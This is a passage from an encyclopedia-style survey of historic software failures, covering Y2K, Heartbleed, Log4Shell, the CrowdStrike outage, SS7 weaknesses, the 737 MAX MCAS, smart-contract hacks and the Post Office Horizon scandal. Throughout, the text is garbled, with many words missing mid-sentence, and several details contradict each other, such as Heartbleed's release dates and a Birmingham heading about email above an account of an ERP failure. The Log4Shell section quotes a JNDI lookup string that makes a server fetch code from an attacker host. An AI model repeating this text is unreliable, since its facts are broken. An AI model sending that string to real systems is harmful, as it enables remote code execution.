Recovery relied on manual interventions, including on-site technician overrides of and clean-room rebuilds of wiped systems, highlighting the absence of resilient software redundancies like immutable backups or behavioral monitoring in the targeted environments. Technical reports from joint industry analyses emphasized that the attack's success derived from cascading software weaknesses—phishing-vulnerable clients, credential-storing applications without , and interfaces exposing control logic—rather than a singular bug, though BlackEnergy's evasion of antivirus via packed executables amplified persistence. Subsequent U.S. government alerts classified these tactics as indicative of advanced persistent threats (APTs) targeting , prompting recommendations for micro-segmentation and protocol whitelisting in ICS software stacks.

Date and Time Handling

Year 2000 (Y2K) Problem

The Year 2000 (Y2K) problem stemmed from the widespread use of two-digit representations for years in computer software and , a practice originating in the and to conserve limited storage space in early systems. This convention encoded years like 1999 as "99," but upon reaching "00" on January 1, 2000, many programs incorrectly interpreted it as 1900, potentially causing failures in date-dependent calculations such as eligibility determinations, financial accruals, and chronological sorting. The issue affected legacy mainframe applications written in languages like , as well as embedded systems in devices ranging from elevators to nuclear plant controls, with risks cascading through interconnected infrastructures like power grids and banking networks. Remediation strategies included date expansion, which converted all two-digit years to four digits for a permanent fix, though it was labor-intensive and costly; and windowing, a temporary assuming two-digit years within a sliding 100-year band (e.g., 00–49 as 2000–2049, 50–99 as 1950–1999) to extend functionality for decades without full rewrites. Governments and corporations undertook extensive inventories, testing, and upgrades, with the U.S. federal government allocating approximately $8.7 billion by mid-1999, including over $3 billion spent through 1998 across major agencies. expenditures were substantial, with estimates for U.S. businesses around $50 billion and global totals reaching $300–600 billion, exemplified by investments from firms like ($565 million) and Citicorp ($600 million). These efforts involved compliance acts, such as the U.S. Year 2000 Information and Readiness Disclosure Act of 1998, to facilitate information sharing and liability protections. The transition on January 1, 2000, resulted in minimal disruptions, with no widespread systemic failures reported in critical infrastructures despite pre-rollover simulations revealing errors in unremediated code. Isolated incidents occurred, such as minor glitches in some Japanese vending machines and European billing systems, but these were quickly resolved without broader economic or safety impacts. The absence of catastrophe is attributable to proactive global remediation, which addressed vulnerabilities in over 99% of U.S. federal mission-critical systems by late 1999, rather than inherent overhyping, as evidenced by documented test failures in legacy environments prior to fixes. Post-event analyses confirmed that without these interventions, date miscalculations could have triggered real operational breakdowns in sectors reliant on precise chronology.

Unix Millennium Bug (2038 Problem)

The Unix Millennium Bug, commonly referred to as the or Y2038, stems from the representation of time in many operating systems and software using a 32-bit signed integer for the time_t , which tracks seconds elapsed since the Unix of January 1, 1970, 00:00:00 UTC. This integer's maximum value of 2,147,483,647 seconds—equivalent to 2³¹ - 1—will be reached at 03:14:07 UTC on January 19, 2038, after which any increment causes an overflow, wrapping the value to a negative number starting at -2,147,483,648. Systems interpreting this negative value as seconds before the epoch will display or process dates regressing to December 13, 1901, 20:45:52 UTC, potentially disrupting timestamp-dependent operations such as file systems, , logging, and scheduling. The root cause lies in the historical choice of a 32-bit time_t in standard, adopted by for portability across Unix variants, which sufficed for systems designed in the 1970s when 68 years of runtime was deemed ample. This limitation primarily impacts 32-bit architectures, embedded devices, and legacy applications that have not migrated to 64-bit time representations, as 64-bit systems typically employ a 64-bit time_t capable of handling timestamps until approximately year 292 billion. Consequences could include software failures like incorrect date validations, corrupted backups, or halted processes in uninterruptible power supplies, medical equipment, or industrial controls relying on absolute time, though the scope is narrower than the Y2K issue due to fewer affected 32-bit deployments in 2038. Mitigation strategies involve recompiling software with 64-bit time_t support, where available in libraries like since version 2.34 (2021), or adopting alternative time APIs such as struct timespec with nanosecond precision. Operating systems like on 64-bit processors have been largely immune since their inception, as they default to 64-bit integers, but cross-compilation for 32-bit targets requires explicit flags like -D_FILE_OFFSET_BITS=64. Efforts by bodies like the and vendors such as Wind River have focused on auditing and patching embedded , with tools for static analysis detecting vulnerable code patterns; however, billions of IoT and legacy devices may remain unpatched, risking isolated failures rather than systemic collapse. As of 2025, awareness has prompted proactive updates in major distributions, reducing anticipated impact compared to unaddressed scenarios.

Security and Encryption Flaws

Heartbleed Bug (2014)

The bug, designated CVE-2014-0160, was a critical buffer over-read vulnerability in the cryptographic software library, enabling remote attackers to extract sensitive data from the of affected systems. It stemmed from a flaw in the implementation of the heartbeat extension for TLS and DTLS protocols, where a missing bounds check allowed malicious packets to trigger the return of up to 64 kilobytes of process per request, potentially disclosing private keys, usernames, passwords, cookies, and other confidential information without detection or server logs. The bug affected versions 1.0.1 through 1.0.1f, released between March 14, 2010, and March 25, 2014, while earlier stable branches like 1.0.0 and 0.9.8 remained unaffected due to lacking the heartbeat feature. Discovered independently in early , the vulnerability was identified on by Google's security engineer Neel and around April 3 by researchers at Codenomicon Defense (Riku Salomaa, Antti Tikkanen, and Matti Nikander), who coordinated disclosure with the Project. reported the issue privately to on April 7, prompting the immediate release of version 1.0.1g as a patch that day, which added the necessary bounds validation to prevent memory leaks. The bug's existence dated back to the introduction of the heartbeat extension in 1.0.1, released on March 14, 2012, representing a single in bounds checking that evaded due to OpenSSL's under-resourced development team, which operated on a volunteer basis with limited funding. The impact was widespread, as powered approximately two-thirds of secure web servers at the time, with a survey in April 2014 indicating over 66% of active sites on and nginx servers were vulnerable. Attackers could repeatedly exploit it to harvest data, compromising encryption integrity and enabling man-in-the-middle attacks, though no evidence emerged of mass pre-disclosure exploitation by state actors despite speculation; post-disclosure scans revealed persistent unpatched systems for years. Remediation required not only patching but also revoking and regenerating affected private keys and certificates, as leaked keys rendered prior and subsequent sessions insecure, affecting millions of users and organizations including major services like Yahoo and . Exploitation relied on crafting heartbeat response packets with falsified payload lengths, tricking the server into echoing uninitialized contents back to the attacker, who could requests to map larger regions over time. This disclosure occurred silently, bypassing typical logging, and was rated CVSS for low complexity and no privileges required, underscoring OpenSSL's role as a despite its maintenance challenges. The incident highlighted systemic risks in open-source libraries, prompting increased funding for OpenSSL via initiatives like the Foundation's Core Infrastructure Initiative, though adoption of alternatives like gained limited traction.

Log4Shell Vulnerability (2021)

The vulnerability, designated CVE-2021-44228, is a remote code execution flaw in the Apache Log4j 2 for applications, affecting versions from 2.0-beta9 through 2.14.1. This , used extensively in , cloud services, and web applications for logging events, enables attackers to execute arbitrary code on vulnerable servers when untrusted input is logged. The issue stems from Log4j's default configuration performing Java Naming and Directory Interface (JNDI) lookups on specially crafted log messages containing lookup patterns like ${jndi:ldap://malicious-server/a}, which trigger remote resource fetching and deserialization leading to code execution. With a CVSS v3.1 base score of 10.0, it represents one of the most severe software vulnerabilities due to its ease of exploitation and broad applicability across platforms. The vulnerability was privately reported to in late November 2021, with assigning the CVE identifier on November 26. Public disclosure occurred on December 9, 2021, coinciding with immediate exploitation attempts observed in the wild by researchers. responded by releasing version 2.15.0 on December 6 as an initial patch, which disabled JNDI lookups but proved insufficient against variants, prompting further updates including 2.16.0 on December 13 and 2.17.0 on December 28 for comprehensive remediation via configuration changes and removal of the vulnerable MessageLookup class. U.S. (CISA) issued alerts on December 10, urging immediate scanning and patching, while noting active exploitation by state-sponsored actors and cybercriminals. Exploitation requires no and leverages common of user inputs, such as usernames or HTTP headers, making it trivially achievable via tools like crafted payloads in protocols including LDAP, RMI, or DNS. Attackers could deploy , , or backdoors, with real-world incidents including compromises of servers, cloud infrastructure, and corporate networks shortly after disclosure. Affected systems spanned millions of Java-based applications, from on-premises servers to services like Apple , , and various AWS components, amplifying supply-chain risks due to Log4j's ubiquity in dependencies. Remediation efforts emphasized upgrading to 2.17.1 or later, setting system properties like log4j2.formatMsgNoLookups=true, and implementing network blocks on outbound JNDI traffic, though legacy systems and embedded devices posed patching challenges. Follow-on vulnerabilities like CVE-2021-45046 (DoS in 2.16.0) underscored incomplete initial fixes, leading to coordinated disclosures and tools for detection via signature-based scans. As of 2024, residual unpatched instances persist in approximately 12% of scanned applications, highlighting ongoing risks from delayed updates in complex ecosystems. The incident exposed systemic issues in open-source dependency management, prompting enhanced scrutiny of logging libraries and automated patching in software supply chains.

Enterprise and Cloud Computing

CrowdStrike Falcon Sensor Update Failure (2024)

The Falcon sensor update failure occurred on July 19, 2024, when a defective in a rapid response content update for the Falcon (EDR) software caused widespread crashes on Windows systems. The update, deployed at 04:09 UTC, affected Windows hosts running Falcon sensor version 7.11 or later that were online during a brief window until its reversion at 05:27 UTC. estimated that approximately 8.5 million Windows devices were impacted, representing less than 1% of all Windows machines globally but concentrated in enterprise environments due to Falcon's primary use by organizations. macOS and systems were unaffected, as the sensor implementation differed. The root cause was a in the Falcon sensor's Content Interpreter module within the Windows kernel driver (csagent.sys), where an out-of-bounds memory read occurred during processing of channel file 291. This file, part of the update for detecting Falcon malware, contained non-wildcard criteria that referenced a 21st input parameter in the IPC Template Type, but the sensor code provided only 20 inputs, leading to an unhandled exception and (BSOD) crashes. The defect originated from inadequate validation in the content deployment pipeline: the Content Validator tool failed to detect the mismatch, as it lacked runtime bounds checking and relied on assumptions about input fields without compile-time enforcement. Testing had covered wildcard scenarios but not the specific non-wildcard conditions that triggered the bug, exposing a gap in test coverage for edge cases in the sensor's interpretation logic. Recovery required manual intervention, as the crashes prevented remote fixes; affected systems had to be booted into Windows Recovery Environment or to delete the faulty file (C-00000291*.sys) from the directory. issued technical guidance within hours, and collaborated with to develop automated remediation tools for cloud environments like Azure. By July 29, 2024, approximately 99% of affected sensors had recovered to pre-incident levels. The incident disrupted critical sectors: airlines such as canceled over 3,500 flights and incurred costs exceeding $500 million; healthcare providers faced emergency system outages; and experienced payment processing delays. Economic analyses estimated direct losses to companies at $5.4 billion, with broader global impacts in the tens of billions, though exact figures vary due to indirect effects like productivity halts. In response, CrowdStrike's root cause analysis identified systemic issues, including over-reliance on a single validation stage and absence of staged rollouts for content updates. Remediation included adding compile-time input validation (deployed July 27, 2024), runtime bounds checks, expanded and testing for non-wildcard scenarios, and mechanisms for customer-controlled update pacing. The event prompted regulatory scrutiny, including a U.S. hearing on July 24, 2024, and multiple class-action lawsuits alleging in testing. It underscored risks in third-party kernel-level software dependencies, where a single vendor's update can cascade failures across interconnected enterprise ecosystems without built-in safeguards like diversified EDR usage or offline validation.

Telecommunications and Networking

AT&T Network Outage (1990)

The AT&T network outage occurred on January 15, 1990, beginning at 2:25 p.m. EST, when a trunk interface unit in a Manhattan switching center experienced a hardware fault during routine operations. This triggered the system's recovery procedures across AT&T's long-distance network, which handled approximately 70% of U.S. long-distance traffic at the time. Within minutes, the failure cascaded, disabling half of the network's 114 electronic switches and blocking over 50 million calls during the nine-hour disruption that ended around 11:30 p.m. The incident resulted in an estimated $60 million loss in unconnected calls for AT&T, with broader economic ripple effects including delayed airline flights and disrupted business operations. The root cause was a single-line introduced in a mid-December 1989 update to the recovery code for the 4ESS switches, written . Specifically, the bug involved a break statement in an else clause within a switch statement's case handling for error recovery; when two call-related messages arrived within 1/100th of a second, the break caused the program to exit the case prematurely, skipping essential data restoration and instead overwriting critical parameters. This led to improper switch resets, where affected switches dumped active calls and flooded adjacent switches with error notifications and backlogged traffic, initiating an iterative failure loop across the interconnected network despite built-in self-healing mechanisms. Engineers at 's network operations centers identified the flaw by analyzing logs and reverted the switches to the prior software version, stabilizing the system. Initial suspicions of or hacking delayed diagnosis, as the uniform pattern across geographically dispersed switches suggested external interference, but internal audits confirmed the software . The outage exposed vulnerabilities in large-scale distributed systems, where localized faults could propagate globally due to tight and inadequate of rare timing conditions during testing. subsequently enhanced processes and fault isolation, though the event underscored the challenges of ensuring robustness in complex infrastructure reliant on unproven software changes.

Signaling System 7 Vulnerabilities

The Signaling System 7 (SS7) protocol suite governs signaling in global telecommunications networks for functions such as call routing, delivery, and mobile roaming, and was originally specified in the by the for use in trusted, closed carrier environments lacking modern security protocols like or . This foundational design assumption—pre-dating widespread internet interconnectivity—enables attackers with SS7 network access, often obtained via compromised or rogue telecom operators, to impersonate legitimate nodes and issue unauthorized queries or redirects without detection. Public awareness of these flaws emerged in 2008 through initial security research presentations, with systematic demonstrations beginning around 2010 by firms like Security Research Labs (SRLabs). By 2014, German researcher Karsten Nohl publicly showcased live exploits at conferences, including tracking mobile locations and intercepting communications, highlighting how SS7's trust-based architecture permits global-scale abuse without user consent or awareness. Key vulnerabilities stem from exploitable SS7 message types, such as (Mobile Application Part) operations, which allow:
  • Location tracking: Attackers query a target's position via commands like SendRoutingInfoForSM or AnyTimeInterrogation (ATI), achieving accuracy to within a cell tower's range (often hundreds of meters in urban areas), as demonstrated in SRLabs tests on European networks in 2014–2016.
  • Call and SMS interception: By inserting themselves as a man-in-the-middle using UpdateLocation or InsertSubscriberData, intruders can eavesdrop on voice traffic or divert , including two-factor codes, bypassing in apps like if reliant on SMS fallback.
  • Fraud and denial-of-service: Manipulation of subscriber data enables to attacker-controlled numbers or subscription changes, facilitating financial theft; for instance, in May 2017, hackers exploited SS7 to intercept German bank SMS verifications, draining accounts in real-time operations traced to groups.
These issues persist into the 2020s due to SS7's continued use for legacy / interoperability and international signaling, even as networks transition to in /, with incomplete migrations leaving billions of devices exposed. Mitigation efforts, including GSMA-recommended SS7 firewalls that filter anomalous messages based on rules or , have been deployed by some operators since 2015, but protocol-level flaws remain unpatched without global standardization, as evidenced by ongoing sales of SS7 access for $500–$5,000 per target in 2021–2025. State actors and commercial vendors have leveraged these for , as confirmed in 2018 U.S. congressional inquiries into potential foreign exploitation, underscoring the protocol's role in enabling undetected absent robust interconnect vetting.

Transportation Systems

Toyota Unintended Acceleration (2009-2010)

The unintended acceleration incidents, peaking in 2009-2010, involved numerous reports of vehicles suddenly accelerating without driver input, primarily in models equipped with the System with intelligence (ETCS-i), a drive-by-wire system introduced in various and models since the early 2000s. By late 2009, the (NHTSA) had received over 2,000 complaints alleging (SUA), linked to at least 21 deaths and hundreds of injuries across models like the Camry, Prius, and . responded with massive recalls totaling nearly 8 million vehicles in the United States: in November 2009, 2.3 million for floor mats that could trap the accelerator pedal; and in January 2010, another 2.3 million for sticky accelerator pedals that might bind due to friction or wear. These mechanical issues were identified as potential contributors, but allegations persisted that ETCS-i software flaws could independently cause valves to open fully, overriding driver commands. NHTSA launched a formal defects investigation in September 2009, expanding it to include electronic systems amid congressional scrutiny and high-profile crashes, such as an August 2009 Lexus ES 350 collision on a California highway that killed four, including a state police officer. To assess ETCS-i, NHTSA contracted engineers, who conducted extensive testing on vehicle components, software simulations, and scenarios from February 2010 to late 2010. The resulting February 2011 report concluded there were no electronic defects or software vulnerabilities capable of producing the large throttle openings (near 100%) required for high-speed SUA incidents; instead, (EDR) analyses from crash-involved vehicles consistently showed the accelerator pedal depressed while brakes were not, pointing to driver pedal misapplication under stress. NHTSA endorsed these findings, attributing most verified SUA cases to or the recalled mechanical defects, and closed the probe without mandating electronic fixes. Debate over ETCS-i software persisted, fueled by independent analyses criticizing its design for lacking —unlike mechanical linkages in older systems—and exhibiting poor quality, such as unhandled error conditions and reliance on single microprocessors without fail-safes to default to idle. Software expert Michael Barr, in a 2013 court testimony for an wrongful-death suit stemming from a 2009 crash, identified specific bugs in Toyota's , including race conditions and flaws, leading a to award $1.5 million against on grounds of defective contributing to unintended throttle activation. A 2002 internal Toyota memo, translated and revealed in 2012, documented engineers observing full-throttle acceleration in a pre-production test due to a software anomaly, though Toyota deemed it non-reproducible in production. settled over 500 SUA claims post-2014 for $1.2 billion in a agreement with the U.S. Department of Justice, admitting to misleading regulators on mechanical defect severity but denying electronic causation; critics, including some researchers, argue the settlements and critiques indicate underreported software risks, though federal probes found no causal link to widespread incidents.

Boeing 737 MAX MCAS Software Issue (2018-2019)

The (MCAS) in the was a software-driven flight control feature designed to automatically adjust the horizontal stabilizer trim in response to angle-of-attack (AoA) data, compensating for the aircraft's increased tendency caused by larger, forward-mounted engines compared to prior 737 variants. MCAS activated during high AoA conditions to apply nose-down trim, but its logic processed input from only one of two available AoA s without for discrepancies, allowing a single faulty reading to trigger erroneous commands. This design choice, intended to simplify certification by avoiding pilot retraining on the 737 NG flight , lacked safeguards against persistent activation; once triggered, MCAS could re-engage multiple times per flight even after pilot override attempts, as the stabilizer trim motors were powerful enough to overcome manual counter-efforts under certain aerodynamic loads. Boeing's assessments underestimated the risk of uncommanded MCAS operation, rating it as "catastrophic" but assuming pilots would recognize and counteract it using existing runaway trim procedures, without disclosing MCAS's repeated activation potential or full reliance on a single . The flaw manifested in Lion Air Flight 610 on October 29, 2018, when the Boeing 737 MAX 8 (PK-LQP) crashed into the Java Sea 13 minutes after takeoff from Jakarta, Indonesia, killing all 189 aboard; a damaged AoA sensor provided erroneous high-reading input, causing MCAS to command repeated nose-down trim that pilots partially countered but ultimately could not fully overcome amid competing stick shaker warnings and unreliable airspeed indications. The aircraft's prior flight had experienced similar MCAS activations due to the same sensor issue, which maintenance failed to fully diagnose despite partial troubleshooting. Indonesia's National Transportation Safety Committee final report identified the faulty AoA sensor and MCAS as contributing factors in a chain including maintenance errors, weight/misrigging discrepancies, and pilot responses, but emphasized the system's design vulnerability to single-point failures without adequate pilot awareness or cockpit indications for MCAS-specific faults. A similar sequence unfolded in on March 10, 2019, with the 737 MAX 8 (ET-AVJ) crashing six minutes after departing , , killing all 157 occupants; erroneous AoA again prompted MCAS to apply unrelenting nose-down trim, which the crew attempted to neutralize using electric trim switches and the cutoff switches, but the system's re-activations during manual flight overwhelmed their efforts despite following Boeing's recommended procedures. 's Aircraft Accident Investigation Bureau preliminary findings highlighted flawed triggering MCAS as a central element, while the final report noted production-related anomalies but maintained that MCAS's response exacerbated the loss of control. The U.S. critiqued aspects of the Ethiopian analysis for underemphasizing production quality issues but concurred that MCAS assumptions about pilot intervention were inadequate given the lack of or on its multi-cycle behavior. These incidents exposed broader certification shortcomings, as the had delegated significant oversight to under its Organization Designation Authorization program, leading to incomplete MCAS risk disclosures and flawed hazard analyses that did not fully model single-sensor failure scenarios. A U.S. investigation revealed engineers had identified but downplayed MCAS dependencies during development, prioritizing cost and schedule to match Airbus A320neo competition, resulting in software that treated AoA discrepancies as valid rather than anomalous. Global regulators grounded the 737 MAX fleet starting March 11-13, 2019, affecting over 380 aircraft; 's remedial software update, certified in late 2020, incorporated dual AoA sensor inputs with disagreement logic, on trim commands, and revised pilot alerts, enabling return to service after 20 months. The episode underscored risks in automating critical without robust failure-mode redundancies, with post-accident data indicating MCAS's original implementation violated first-order engineering principles by amplifying hardware faults into systemic instability.

Media and Gaming

Nintendo Wii Remote Strap Failure (2006, software interaction)

The Nintendo Wii Remote wrist strap failures emerged as a prominent issue following the console's launch on November 19, 2006, primarily during gameplay involving motion controls that required users to swing the controller vigorously, such as in the bundled Wii Sports title simulating tennis, bowling, and boxing. The strap, a nylon cord designed to secure the battery-powered Remote to the user's wrist, frequently snapped under the tension of these physical gestures, causing the device to detach and strike nearby objects like televisions, walls, or furniture. Incidents were exacerbated by the software's reliance on full-body mimicry of real-world actions to register inputs via the Remote's embedded accelerometer, which detected orientation and acceleration but imposed no algorithmic limits on swing velocity or force to prevent hardware stress. This interaction between the motion-sensing software mechanics—intended to deliver intuitive, immersive control—and the strap's material limitations turned routine play into a risk factor, with users following on-screen prompts for exaggerated motions without built-in safeguards like dynamic sensitivity scaling or haptic feedback thresholds to mitigate overexertion. By early December 2006, had received over 100 reports of strap breakages alone, including instances of estimated in the thousands of dollars per case and three minor injuries not requiring medical treatment, all linked to sessions. The company's investigation attributed failures to cords fraying or tearing when subjected to "excessive force" during swings, a scenario directly prompted by software-driven gameplay loops that rewarded in motion for accurate input registration. On December 15, 2006, announced a voluntary replacement program for the original straps bundled with approximately 3.2 million Remotes sold worldwide up to that point, shipping thicker, more durable versions at no cost to owners; the initiative stemmed from consumer complaints and preemptive measures to avoid broader liability, though denied it constituted a formal . Class-action lawsuits followed, alleging defective and inadequate warnings, with plaintiffs claiming the Remote's software encouraged behaviors that foreseeably overwhelmed the hardware, such as rapid, full-arm extensions without velocity caps in the input processing algorithms. In response, Nintendo issued usage guidelines emphasizing proper strap attachment and moderate swinging, later incorporating on-screen safety prompts in some titles to remind players of risks, though no firmware updates altered core motion detection logic to enforce safer interaction parameters. The episode highlighted a systems-level oversight where software innovation prioritizing accessibility and physical engagement outpaced hardware robustness testing under simulated peak loads, resulting in widespread failures despite the Remote's otherwise reliable Bluetooth-based pointing and acceleration tracking. Despite the disruptions, Wii sales remained strong, with the strap program costing Nintendo around $1 million but underscoring the trade-offs in early motion-control paradigms that lacked integrated error-handling for peripheral strain.

Cyberpunk 2077 Launch Bugs (2020)

Cyberpunk 2077, developed by CD Projekt Red, launched on December 10, 2020, for Microsoft Windows, , , , Xbox Series X/S, and Stadia, following multiple delays from its original 2019 target. The release encountered widespread software bugs, including frequent crashes, clipping through environments, non-functional (NPC) behaviors, erratic driving physics, and quest progression failures, which compromised core gameplay mechanics across platforms. These issues stemmed from incomplete implementation of promised features, such as dynamic systems and , due to unfinalized underlying code and insufficient testing on console hardware. Performance degradation was most acute on base and consoles, where frame rates often dropped below 20 FPS, accompanied by severe texture pop-in, reduced draw distances rendering foliage and buildings invisible, and rendering errors making characters or vehicles disappear mid-interaction. Internal developer reports indicated awareness of these optimization shortfalls prior to launch, with staff doubting the game's readiness for 2020 release amid pressure to meet financial milestones, yet proceeding without adequate console-specific refinements. On December 17, 2020, removed the game from the and initiated full refunds for all digital purchases, citing unacceptable bug levels and performance, marking an unprecedented action against a major title. CD Projekt Red responded with public apologies and a series of hotfixes starting December 2020, addressing crashes and stability, followed by major patches like 1.1 in February 2021 that improved console framerates and reduced load times, though full remediation required over a year of updates. Despite the fallout, the game achieved 13.7 million units sold by year-end 2020, generating over $560 million in revenue, with CD Projekt's direct refund program processing approximately 30,000 requests at a cost of $2.23 million, though platform-specific refunds like Sony's added undisclosed volumes. The launch bugs triggered class-action lawsuits alleging misleading marketing of console versions and contributed to a sharp decline in 's share price, dropping over 30% in December 2020, underscoring failures in processes for cross-platform development. Subsequent patches, including the 2.0 overhaul in 2023, largely resolved persistent issues, enabling the game's return to the in June 2021 after performance benchmarks met Sony's criteria.

Blockchain and Cryptocurrency

DAO Hack (2016)

The DAO (Decentralized Autonomous Organization) was a fund implemented as a set of smart contracts, designed to allow token holders to collectively fund and govern projects without centralized management. It raised approximately 12 million —valued at around $150 million USD—through an that concluded on May 31, 2016, marking one of the largest efforts in history at the time. On June 17, 2016, an attacker exploited a software vulnerability in The DAO's smart contract code, siphoning 3.6 million ETH (about one-third of the total funds), equivalent to roughly $50 million USD based on contemporaneous Ether prices. The bug involved a reentrancy flaw in the splitDAO function, which permitted the creation of "child DAOs" to withdraw investor shares; the contract transferred ETH to the caller's address before updating its internal balance tracking, allowing recursive calls that drained funds multiple times before the state change took effect. This vulnerability arose from inadequate safeguards against recursive external calls in Solidity, the Ethereum programming language, despite prior warnings from security researchers about similar risks in the codebase. The exploit unfolded over multiple transactions starting at Ethereum block 1,621,370, with the attacker methodically withdrawing funds into a child DAO under their control, which remained locked until a 28-day delay period due to The DAO's governance rules. Ethereum developers paused creation temporarily to analyze the issue, confirming the reentrancy as the root cause rather than a consensus-layer flaw. To recover the funds, Ethereum's core developers proposed and executed a hard fork on July 20, 2016, at block 1,920,000, which retroactively moved the stolen to a refund contract accessible by original token holders. A minority faction rejected the fork, citing immutability principles, resulting in a chain split: the forked chain became (), while the unaltered original evolved into (ETC). The event exposed systemic risks in deploying unproven, unaudited smart contracts at scale, influencing subsequent industry standards for , multi-signature wallets, and reentrancy guards like the checks-effects-interactions pattern. No funds were ultimately lost to the attacker on the dominant chain, but the hack underscored causal links between hasty code deployment and catastrophic financial losses in permissionless systems.

Parity Wallet Multisig Bug (2017)

The Parity Wallet multisig bug encompassed two critical vulnerabilities in the multi-signature wallet contracts of the Parity Ethereum client, a software implementation for interacting with the blockchain. In July 2017, a flaw in versions 1.5 and later enabled attackers to exploit uninitialized owner states, allowing unauthorized initialization of wallets as the sole owner and subsequent drainage of funds; this resulted in the theft of approximately 153,000 , valued at around $30 million at the time, from several affected multisig wallets. Parity responded by releasing an updated wallet on July 20, 2017, which relied on a shared delegate for core functionality, including transaction execution and ; however, this lacked proper initialization checks, leaving its owner slot as the default zero , effectively making it ownerless and vulnerable to self-destruction by any caller. On November 6, 2017, an anonymous user inadvertently invoked the self-destruct function on this (: 0x863df6bf8c5a4b8416169a23a126536aa0db5a9a), rendering it non-executable and irreversibly freezing funds in approximately 587 dependent multisig wallets, totaling about 513,774 —equivalent to roughly $150–280 million based on contemporaneous prices. The root cause stemmed from inadequate safeguards in code: the July bug arose from missing validation that prevented external actors from setting themselves as owners during deployment, while the issue involved unprotected delegatecall proxies that assumed persistence without ownership restrictions or initialization logic. These errors highlighted broader risks in , where immutable deployments amplify the permanence of coding oversights, as funds locked in affected contracts could not be recovered without consensus-driven network changes like a hard fork. In the aftermath, Parity issued a postmortem on , 2017, acknowledging the library's design flaws and recommending migration to non-delegate library implementations for future wallets; proposals for Ethereum Improvement Proposal (EIP) 999 aimed to revert the via a hard fork but faced opposition over precedent for state rewinds, ultimately failing to materialize. The incidents prompted enhanced auditing practices in the ecosystem, including greater emphasis on and safeguards, though the frozen funds remain inaccessible as of 2025.

Government and Administrative Systems

UK Post Office Horizon Scandal (1999-2015)

The IT system, an and point-of-sale software developed by (later ) and rolled out by the starting in 1999, contained numerous bugs, errors, and defects that caused it to generate false financial shortfalls in subpostmasters' branches. These discrepancies, often amounting to thousands of pounds, were attributed by the to operator error or rather than systemic software faults, despite internal awareness of issues from the outset. Between 1999 and 2015, this led to the prosecution of over 900 subpostmasters, with around 700 securing convictions for offenses including , , and false , resulting in imprisonments, bankruptcies, and at least four confirmed suicides linked to the fallout. Specific software bugs included the "Receipts and Payments Mismatch (REMM IN)" , which duplicated or inflated transaction values, and the "Callendar Square" bug, which created spurious duplicate entries that subpostmasters were held accountable for balancing. Additional faults involved in conversions, unrecorded remote interventions by engineers that altered branch without user knowledge, and vulnerabilities from the system's legacy code base written in an outdated language prone to instability. The 2019 High Court judgment in Bates & Others v Post Office Ltd confirmed that Horizon was "not robust" and capable of causing unexplained shortfalls, invalidating the Post Office's reliance on its for prosecutions. later acknowledged in 2024 that bugs persisted in the system, with engineers having remote access to manipulate logs, undermining claims of infallibility. The 's prosecutorial approach persisted despite early subpostmaster complaints from 2000 onward and internal alerts about known defects, reflecting a prioritization of contractual liability over empirical verification of software reliability. This culminated in private prosecutions under the 's authority, with subpostmasters contractually obligated to cover discrepancies, often borrowing funds or selling assets to avoid charges. The Horizon IT Inquiry's final report, published on July 8, 2025, determined that both and personnel "should have known" of Legacy Horizon's error-prone nature but failed to disclose it adequately, exacerbating miscarriages of justice. By October 2025, legislative efforts had quashed over 100 convictions, with compensation schemes disbursing £1.2 billion, though full redress for all victims remained incomplete.

Birmingham City Council Email System Collapse (2024)

In April 2022, (BCC) launched its Fusion Cloud ERP system, intended to modernize finance, HR, and payroll functions by replacing a customized legacy setup. The rollout, one of Europe's largest for a local authority, immediately encountered severe operational breakdowns due to unresolved software configuration errors, integration failures, and untested customizations that mismatched the council's workflows. By early 2024, auditors documented over 8,000 user-reported defects in the system's first six months alone, encompassing inaccuracies in ledger postings, payroll discrepancies affecting thousands of employees, and procurement delays that halted supplier payments. Root causes traced to fundamental software implementation flaws, including insufficient data migration validation and over-reliance on Oracle's standard modules without adequate adaptation testing, compounded by internal governance lapses such as ignoring whistleblower alerts on system instability. Independent reviews by Grant Thornton highlighted "catastrophic" deficiencies in project oversight, with the council proceeding to go-live despite red flags from pilot phases indicating high defect rates and scalability issues in the cloud-based platform. These bugs rendered automated financial reporting unreliable, forcing reliance on manual spreadsheets and external consultants, which exposed vulnerabilities to errors and potential . The fallout amplified BCC's fiscal woes, contributing to a £100 million-plus overrun by 2024 and projections of £216.5 million total expenditure by April 2026 for remediation and parallel maintenance. Essential services suffered, with delayed creditor payments straining vendor relations and inaccurate budgeting exacerbating the council's September 2023 effective declaration under Section 114. Recovery efforts, including a phased rebuild budgeted at £131 million, faced further delays into 2025 due to persistent core module instabilities, underscoring risks of unproven in deployments without rigorous, independent verification.

References

  1. https://www.techtarget.com/searchsoftwarequality/definition/bug
  2. https://www.cse.psu.edu/~gxt29/bug/softwarebug.html
  3. https://ethicsunwrapped.utexas.edu/case-study/therac-25
  4. https://ntrs.nasa.gov/api/citations/20230012909/downloads/Historical%2520Aerospace%2520Software%2520Errors.pdf
  5. https://www.si.edu/spotlight/y2k
  6. http://sunnyday.mit.edu/papers/therac.pdf
  7. https://www.cs.columbia.edu/~junfeng/08fa-e6998/sched/readings/therac25.pdf
  8. https://www.gao.gov/products/imtec-92-26
  9. https://barrgroup.com/sites/default/files/case-study-patriot-missile-defects.pdf
  10. https://www-users.cse.umn.edu/~arnold/disasters/patriot.html
  11. https://onlineethics.org/cases/therac-25-timeline
  12. http://www.righto.com/2024/12/this-die-photo-of-pentium-shows.html
  13. https://www5.in.tum.de/~huckle/anapentium
  14. https://www.latimes.com/archives/la-xpm-1994-11-24-fi-1177-story.html
  15. https://www.tomshardware.com/pc-components/cpus/its-been-30-years-since-intels-infamous-pentium-fdiv-bug-reared-its-ugly-head-a-math-bug-caused-intels-first-cpu-recall
  16. https://www.sec.gov/files/litigation/admin/2013/34-70694.pdf
  17. https://www.sec.gov/newsroom/press-releases/2013-222
  18. https://dealbook.nytimes.com/2012/08/02/knight-capital-says-trading-mishap-cost-it-440-million/
  19. https://www.sec.gov/news/studies/2010/marketevents-report.pdf
  20. https://www.sec.gov/sec-cftc-prelimreport.pdf
  21. https://www.esa.int/Newsroom/Press_Releases/Ariane_501_-_Presentation_of_Inquiry_Board_report
  22. http://sunnyday.mit.edu/nasa-class/Ariane5-report.html
  23. https://dl.acm.org/doi/pdf/10.1145/251880.251992
  24. https://llis.nasa.gov/llis_lib/pdf/1009464main1_0641-mr.pdf
  25. https://www.simscale.com/blog/nasa-mars-climate-orbiter-metric/
  26. https://homepages.uc.edu/~thomam/Implications_IT/pdf/ch8/mars_orbiter_failure.pdf
